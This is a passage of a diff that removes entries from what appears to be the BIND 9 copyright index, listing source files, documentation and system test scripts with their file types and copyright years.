-./bin/named/zoneconf.c				C	1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/nsupdate/nsupdate.c			C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/nsupdate/nsupdate.rst			RST	2020,2021
-./bin/pkcs11/pkcs11-destroy.c			X	2009,2010,2014,2015,2018,2019,2020,2021
-./bin/pkcs11/pkcs11-destroy.rst			RST	2020,2021
-./bin/pkcs11/pkcs11-keygen.c			X	2009,2014,2015,2017,2018,2019,2020,2021
-./bin/pkcs11/pkcs11-keygen.rst			RST	2020,2021
-./bin/pkcs11/pkcs11-list.c			C	2009,2014,2015,2016,2018,2019,2020,2021
-./bin/pkcs11/pkcs11-list.rst			RST	2020,2021
-./bin/pkcs11/pkcs11-tokens.c			C	2014,2015,2016,2018,2019,2020,2021
-./bin/pkcs11/pkcs11-tokens.rst			RST	2020,2021
-./bin/plugins/filter-a.c			C	2018,2019,2020,2021
-./bin/plugins/filter-a.rst			RST	2020,2021
-./bin/plugins/filter-aaaa.c			C	2018,2019,2020,2021
-./bin/plugins/filter-aaaa.rst			RST	2020,2021
-./bin/rndc/rndc.c				C	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/rndc/rndc.conf.rst			RST	2020,2021
-./bin/rndc/rndc.rst				RST	2020,2021
-./bin/rndc/util.c				C	2000,2001,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./bin/rndc/util.h				C	2000,2001,2004,2005,2007,2009,2016,2018,2019,2020,2021
-./bin/tests/prepare-softhsm2.sh			SH	2020,2021
-./bin/tests/startperf/README			X	2011,2018,2019,2020,2021
-./bin/tests/startperf/clean.sh			SH	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/startperf/makenames.pl		PERL	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/startperf/mkzonefile.pl		PERL	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/startperf/setup.sh			SH	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/README			TXT.BRIEF	2000,2001,2004,2010,2011,2013,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/acl/clean.sh			SH	2008,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/acl/setup.sh			SH	2008,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/acl/tests.sh			SH	2008,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/additional/clean.sh		SH	2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/additional/ns1/named.args	X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/additional/setup.sh		SH	2013,2016,2018,2019,2020,2021
-./bin/tests/system/additional/tests.sh		SH	2013,2016,2017,2018,2019,2020,2021
-./bin/tests/system/addzone/clean.sh		SH	2010,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/addzone/ns2/default.nzf.in	X	2010,2018,2019,2020
-./bin/tests/system/addzone/setup.sh		SH	2010,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/addzone/tests.sh		SH	2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/addzone/tests_rndc_deadlock.py	PYTHON	2021
-./bin/tests/system/allow-query/clean.sh		SH	2010,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/allow-query/ns3/named.args	X	2018,2019,2020,2021
-./bin/tests/system/allow-query/setup.sh		SH	2010,2012,2016,2018,2019,2020,2021
-./bin/tests/system/allow-query/tests.sh		SH	2010,2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/ans.pl			PERL	2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/auth/clean.sh		SH	2018,2019,2020,2021
-./bin/tests/system/auth/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/auth/tests.sh		SH	2018,2019,2020,2021
-./bin/tests/system/autosign/clean.sh		SH	2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/autosign/ns1/keygen.sh	SH	2009,2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/autosign/ns2/Xbar.+005+30676.key	X	2010,2018,2019,2020,2021
-./bin/tests/system/autosign/ns2/Xbar.+005+30676.private	X	2010,2018,2019,2020,2021
-./bin/tests/system/autosign/ns2/Xbar.+005+30804.key	X	2010,2018,2019,2020,2021
-./bin/tests/system/autosign/ns2/Xbar.+005+30804.private	X	2010,2018,2019,2020,2021
-./bin/tests/system/autosign/ns2/keygen.sh	SH	2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/autosign/ns3/keygen.sh	SH	2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/autosign/setup.sh		SH	2009,2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/autosign/tests.sh		SH	2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/builtin/clean.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/builtin/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/builtin/tests.sh		SH	2011,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/cacheclean/clean.sh		SH	2001,2004,2007,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/cacheclean/dig.batch		X	2001,2018,2019,2020,2021
-./bin/tests/system/cacheclean/knowngood.dig.out	X	2001,2018,2019,2020,2021
-./bin/tests/system/cacheclean/ns1/named.args	X	2021
-./bin/tests/system/cacheclean/ns2/named.args	X	2021
-./bin/tests/system/cacheclean/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/cacheclean/tests.sh		SH	2001,2004,2007,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/case/clean.sh		SH	2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/case/dynamic.good		X	2015,2018,2019,2020,2021
-./bin/tests/system/case/postns1.good		X	2015,2018,2019,2020,2021
-./bin/tests/system/case/postupdate.good		X	2015,2018,2019,2020,2021
-./bin/tests/system/case/setup.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/case/tests.sh		SH	2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/catz/clean.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/catz/setup.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/catz/tests.sh		SH	2016,2017,2018,2019,2020,2021
-./bin/tests/system/cds/checkmtime.pl		PERL	2017,2018,2019,2020,2021
-./bin/tests/system/cds/checktime.pl		PERL	2017,2018,2019,2020,2021
-./bin/tests/system/cds/clean.sh			SH	2017,2018,2019,2020,2021
-./bin/tests/system/cds/mangle.pl		PERL	2017,2018,2019,2020,2021
-./bin/tests/system/cds/setup.sh			SH	2017,2018,2019,2020,2021
-./bin/tests/system/cds/tests.sh			SH	2017,2018,2019,2020,2021
-./bin/tests/system/chain/README			TXT.BRIEF	2017,2018,2019,2020,2021
-./bin/tests/system/chain/ans3/ans.pl		PERL	2017,2018,2019,2020,2021
-./bin/tests/system/chain/ans4/README.anspy	TXT.BRIEF	2017,2018,2019,2020,2021
-./bin/tests/system/chain/ans4/ans.py		PYTHON	2017,2018,2019,2020,2021
-./bin/tests/system/chain/clean.sh		SH	2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/chain/ns2/sign.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/chain/setup.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/chain/tests.sh		SH	2011,2012,2016,2017,2018,2019,2020,2021
-./bin/tests/system/checkconf/clean.sh		SH	2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/checkconf/dnssec.1		X	2011,2016,2018,2019,2020,2021
-./bin/tests/system/checkconf/dnssec.2		X	2011,2016,2018,2019,2020,2021
-./bin/tests/system/checkconf/good.zonelist	X	2016,2017,2018,2019,2020,2021
-./bin/tests/system/checkconf/tests.sh		SH	2005,2007,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/checknames/clean.sh		SH	2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/checknames/setup.sh		SH	2004,2007,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/checknames/tests.sh		SH	2004,2007,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/checkzone/clean.sh		SH	2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/checkzone/setup.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/checkzone/tests.sh		SH	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/checkzone/zones/bad-badclass.raw	X	2015,2018,2019,2020,2021
-./bin/tests/system/ckdnsrps.sh			SH	2017,2018,2019,2020,2021
-./bin/tests/system/cleanall.sh			SH	2000,2001,2004,2007,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/cleanpkcs11.sh		SH	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/common/rndc.key		X	2011,2013,2016,2018,2019,2020,2021
-./bin/tests/system/conf.sh.common		SH	2018,2019,2020,2021
-./bin/tests/system/conf.sh.in			SH	2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020
-./bin/tests/system/cookie/ans9/ans.py		PYTHON	2020,2021
-./bin/tests/system/cookie/clean.sh		SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/cookie/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/cookie/tests.sh		SH	2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/cpu/clean.sh			SH	2020,2021
-./bin/tests/system/cpu/prereq.sh		SH	2020,2021
-./bin/tests/system/cpu/setup.sh			SH	2020,2021
-./bin/tests/system/cpu/tests.sh			SH	2020,2021
-./bin/tests/system/custom-test-driver		X	2020,2021
-./bin/tests/system/database/clean.sh		SH	2011,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/database/setup.sh		SH	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/database/tests.sh		SH	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/delzone/clean.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/delzone/ns2/named.args	X	2016,2018,2019,2020,2021
-./bin/tests/system/delzone/setup.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/delzone/tests.sh		SH	2016,2018,2019,2020,2021
-./bin/tests/system/dialup/clean.sh		SH	2019,2020,2021
-./bin/tests/system/dialup/tests.sh		SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/digcomp.pl			PERL	2000,2001,2004,2007,2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/digdelv/ans4/startme		X	2017,2018,2019,2020,2021
-./bin/tests/system/digdelv/ans5/ans.pl		PERL	2019,2020,2021
-./bin/tests/system/digdelv/ans6/ans.pl		PERL	2019,2020,2021
-./bin/tests/system/digdelv/ans7/ans.pl		PERL	2020,2021
-./bin/tests/system/digdelv/clean.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/digdelv/ns2/sign.sh		SH	2018,2019,2020,2021
-./bin/tests/system/digdelv/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/digdelv/tests.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/digdelv/yamlget.py		PYTHON	2019,2020,2021
-./bin/tests/system/ditch.pl			PERL	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/clean.sh			SH	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/DNAME=10=example.net.=	TXT.BRIEF	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/NS=10=example.com.=	TXT.BRIEF	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/broken/dns.d/@/SOA=10=ns.example.com.=root.example.com.=None=None=None=None=None=	TXT.BRIEF	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/DNAME=10=example.net.=	TXT.BRIEF	2010,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/NS=10=example.com.=	TXT.BRIEF	2010,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/example/dns.d/@/SOA=10=ns.example.com.=root.example.com.=2010062900=0=0=0=10=	TXT.BRIEF	2010,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/ns1/dns-root/com/example/xfr.d/10.53.0.1	TXT.BRIEF	2010,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/prereq.sh		SH	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/dlz/setup.sh			SH	2018,2019,2020,2021
-./bin/tests/system/dlz/tests.sh			SH	2010,2011,2012,2013,2015,2016,2018,2019,2020,2021
-./bin/tests/system/dlzexternal/clean.sh		SH	2010,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/dlzexternal/driver/driver.c	C	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dlzexternal/driver/driver.h	C	2011,2016,2018,2019,2020,2021
-./bin/tests/system/dlzexternal/prereq.sh	SH	2020,2021
-./bin/tests/system/dlzexternal/setup.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dlzexternal/tests.sh		SH	2010,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/dns64/clean.sh		SH	2010,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/dns64/ns1/sign.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dns64/setup.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dns64/tests.sh		SH	2010,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/dnssec/README		TXT.BRIEF	2000,2001,2002,2004,2011,2016,2018,2019,2020,2021
-./bin/tests/system/dnssec/ans10/ans.py		PYTHON	2020,2021
-./bin/tests/system/dnssec/clean.sh		SH	2000,2001,2002,2004,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/dnssec_update_test.pl	PERL	2002,2004,2007,2010,2012,2016,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns1/sign.sh		SH	2000,2001,2002,2003,2004,2006,2007,2008,2009,2010,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns2/rfc2335.example.db	X	2004,2018,2019
-./bin/tests/system/dnssec/ns2/sign.sh		SH	2000,2001,2002,2003,2004,2006,2007,2008,2009,2010,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns3/sign.sh		SH	2000,2001,2002,2004,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns3/unsupported-algorithm.key	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/ns5/sign.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns6/named.args	X	2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns6/sign.sh		SH	2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns7/named.nosoa	TXT.BRIEF	2010,2016,2018,2019,2020,2021
-./bin/tests/system/dnssec/ns7/sign.sh		SH	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/ntadiff.pl		PERL	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dnssec/setup.sh		SH	2000,2001,2004,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.key	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+005+07065.private	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.key	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+005+23362.private	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+008+15002.key	X	2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+008+15002.private	X	2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+008+63613.key	X	2021
-./bin/tests/system/dnssec/signer/general/Kexample.com.+008+63613.private	X	2021
-./bin/tests/system/dnssec/signer/general/bogus-ksk.key	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/signer/general/bogus-zsk.key	X	2018,2019,2020,2021
-./bin/tests/system/dnssec/tests.sh		SH	2000,2001,2002,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnstap/README		TXT.BRIEF	2019,2020,2021
-./bin/tests/system/dnstap/clean.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnstap/large-answer.fstrm	X	2019,2020,2021
-./bin/tests/system/dnstap/ns3/named.args	X	2020,2021
-./bin/tests/system/dnstap/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/dnstap/tests.sh		SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dnstap/ydump.py		PYTHON	2016,2017,2018,2019,2020,2021
-./bin/tests/system/doth/clean.sh		SH	2020,2021
-./bin/tests/system/doth/example.axfr.good	X	2021
-./bin/tests/system/doth/ns2/cert.pem		X	2021
-./bin/tests/system/doth/ns2/key.pem		X	2021
-./bin/tests/system/doth/setup.sh		SH	2021
-./bin/tests/system/doth/tests.sh		SH	2021
-./bin/tests/system/dscp/clean.sh		SH	2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/dscp/ns1/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/ns2/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/ns3/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/ns4/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/ns5/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/ns6/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/ns7/named.args		X	2013,2014,2018,2019,2020,2021
-./bin/tests/system/dscp/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/dscp/tests.sh		SH	2013,2016,2018,2019,2020,2021
-./bin/tests/system/dsdigest/clean.sh		SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/dsdigest/ns1/sign.sh		SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/dsdigest/ns2/sign.sh		SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/dsdigest/setup.sh		SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/dsdigest/tests.sh		SH	2012,2016,2018,2019,2020,2021
-./bin/tests/system/dupsigs/check_journal.pl	PERL	2018,2019,2020,2021
-./bin/tests/system/dupsigs/clean.sh		SH	2018,2019,2020,2021
-./bin/tests/system/dupsigs/ns1/named.args	X	2018,2019,2020,2021
-./bin/tests/system/dupsigs/ns1/reset_keys.sh	SH	2018,2019,2020,2021
-./bin/tests/system/dupsigs/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/dupsigs/tests.sh		SH	2018,2019,2020,2021
-./bin/tests/system/dyndb/clean.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/AUTHORS		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/COPYING		X	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/README		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/db.c		X	2015,2016,2017,2018,2019
-./bin/tests/system/dyndb/driver/db.h		X	2015,2016,2018,2019
-./bin/tests/system/dyndb/driver/driver.c	X	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/instance.c	X	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/instance.h	X	2015,2016,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/lock.c		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/lock.h		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/log.c		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/log.h		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/syncptr.c	X	2015,2017,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/syncptr.h	X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/util.h		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/zone.c		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/driver/zone.h		X	2015,2018,2019,2020,2021
-./bin/tests/system/dyndb/prereq.sh		SH	2020,2021
-./bin/tests/system/dyndb/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/dyndb/tests.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/ecdsa/clean.sh		SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/ecdsa/ns1/sign.sh		SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/ecdsa/setup.sh		SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/ecdsa/tests.sh		SH	2012,2013,2015,2016,2018,2019,2020,2021
-./bin/tests/system/eddsa/clean.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns1/sign.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns2/Xexample.com.+015+03613.key	X	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns2/Xexample.com.+015+03613.private	X	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns2/Xexample.com.+015+35217.key	X	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns2/Xexample.com.+015+35217.private	X	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns2/sign.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/ns3/Xexample.com.+016+09713.key	X	2021
-./bin/tests/system/eddsa/ns3/Xexample.com.+016+09713.private	X	2021
-./bin/tests/system/eddsa/ns3/Xexample.com.+016+38353.key	X	2021
-./bin/tests/system/eddsa/ns3/Xexample.com.+016+38353.private	X	2021
-./bin/tests/system/eddsa/ns3/sign.sh		SH	2021
-./bin/tests/system/eddsa/prereq.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/setup.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/eddsa/tests.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/ednscompliance/clean.sh	SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/ednscompliance/setup.sh	SH	2018,2019,2020,2021
-./bin/tests/system/ednscompliance/tests.sh	SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/emptyzones/clean.sh		SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/emptyzones/ns1/rfc1918.zones	X	2014,2016,2018,2019,2020,2021
-./bin/tests/system/emptyzones/setup.sh		SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/emptyzones/tests.sh		SH	2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/feature-test.c		C	2016,2017,2018,2019,2020,2021
-./bin/tests/system/fetchlimit/ans4/ans.pl	PERL	2019,2020,2021
-./bin/tests/system/fetchlimit/clean.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/fetchlimit/ns3/named.args	X	2021
-./bin/tests/system/fetchlimit/setup.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/fetchlimit/tests.sh		SH	2015,2016,2018,2019,2020,2021
-./bin/tests/system/filter-aaaa/clean.sh		SH	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/filter-aaaa/ns1/sign.sh	SH	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/filter-aaaa/ns4/sign.sh	SH	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/filter-aaaa/setup.sh		SH	2010,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/filter-aaaa/tests.sh		SH	2010,2012,2015,2016,2018,2019,2020,2021
-./bin/tests/system/formerr/clean.sh		SH	2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/formerr/formerr.pl		PERL	2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/formerr/nametoolong		X	2013,2018,2019,2020,2021
-./bin/tests/system/formerr/noquestions		X	2013,2018,2019,2020,2021
-./bin/tests/system/formerr/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/formerr/tests.sh		SH	2013,2015,2016,2018,2019,2020,2021
-./bin/tests/system/formerr/twoquestions		X	2013,2018,2019,2020,2021
-./bin/tests/system/forward/ans6/ans.pl		PERL	2020,2021
-./bin/tests/system/forward/clean.sh		SH	2000,2001,2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/forward/ns1/example.db	X	2000,2001,2018,2019
-./bin/tests/system/forward/ns1/sign.sh		SH	2020,2021
-./bin/tests/system/forward/ns2/example.db	X	2000,2001,2018,2019
-./bin/tests/system/forward/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/forward/tests.sh		SH	2000,2001,2004,2007,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/fromhex.pl			PERL	2015,2016,2018,2019,2020,2021
-./bin/tests/system/genzone.sh			SH	2001,2002,2003,2004,2007,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/geoip2/clean.sh		SH	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-City.json	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-City.mmdb	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-Country.json	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-Country.mmdb	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-Domain.json	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-Domain.mmdb	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-ISP.json	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoIP2-ISP.mmdb	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoLite2-ASN.json	X	2019,2020,2021
-./bin/tests/system/geoip2/data/GeoLite2-ASN.mmdb	X	2019,2020,2021
-./bin/tests/system/geoip2/data/write-test-data.pl	PERL	2019,2020,2021
-./bin/tests/system/geoip2/prereq.sh		SH	2019,2020,2021
-./bin/tests/system/geoip2/setup.sh		SH	2019,2020,2021
-./bin/tests/system/geoip2/tests.sh		SH	2019,2020,2021
-./bin/tests/system/get_ports.sh			SH	2020,2021
-./bin/tests/system/glue/clean.sh		SH	2000,2001,2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/glue/fi.good			X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/glue/noglue.good		X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/glue/setup.sh		SH	2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/glue/tests.sh		SH	2000,2001,2003,2004,2007,2012,2013,2016,2017,2018,2019,2020,2021
-./bin/tests/system/hooks/clean.sh		SH	2020,2021
-./bin/tests/system/hooks/driver/test-async.c	C	2020,2021
-./bin/tests/system/hooks/setup.sh		SH	2020,2021
-./bin/tests/system/hooks/tests.sh		SH	2020,2021
-./bin/tests/system/idna/clean.sh		SH	2018,2019,2020,2021
-./bin/tests/system/idna/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/idna/tests.sh		SH	2018,2019,2020,2021
-./bin/tests/system/ifconfig.bat			BAT	2016,2018,2019,2020,2021
-./bin/tests/system/ifconfig.sh.in		X	2000,2001,2002,2003,2004,2007,2008,2009,2010,2012,2013,2016,2018,2019,2020
-./bin/tests/system/include-multiplecfg/clean.sh	SH	2020,2021
-./bin/tests/system/include-multiplecfg/setup.sh	SH	2020,2021
-./bin/tests/system/include-multiplecfg/tests.sh	SH	2020,2021
-./bin/tests/system/inline/clean.sh		SH	2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/inline/ns1/sign.sh		SH	2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/inline/ns3/sign.sh		SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/inline/ns5/named.conf.post	X	2011,2014,2016,2018,2019,2020,2021
-./bin/tests/system/inline/ns5/named.conf.pre	X	2011,2016,2018,2019,2020,2021
-./bin/tests/system/inline/ns7/sign.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/inline/ns8/sign.sh		SH	2020,2021
-./bin/tests/system/inline/setup.sh		SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/inline/tests.sh		SH	2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/integrity/clean.sh		SH	2017,2018,2019,2020,2021
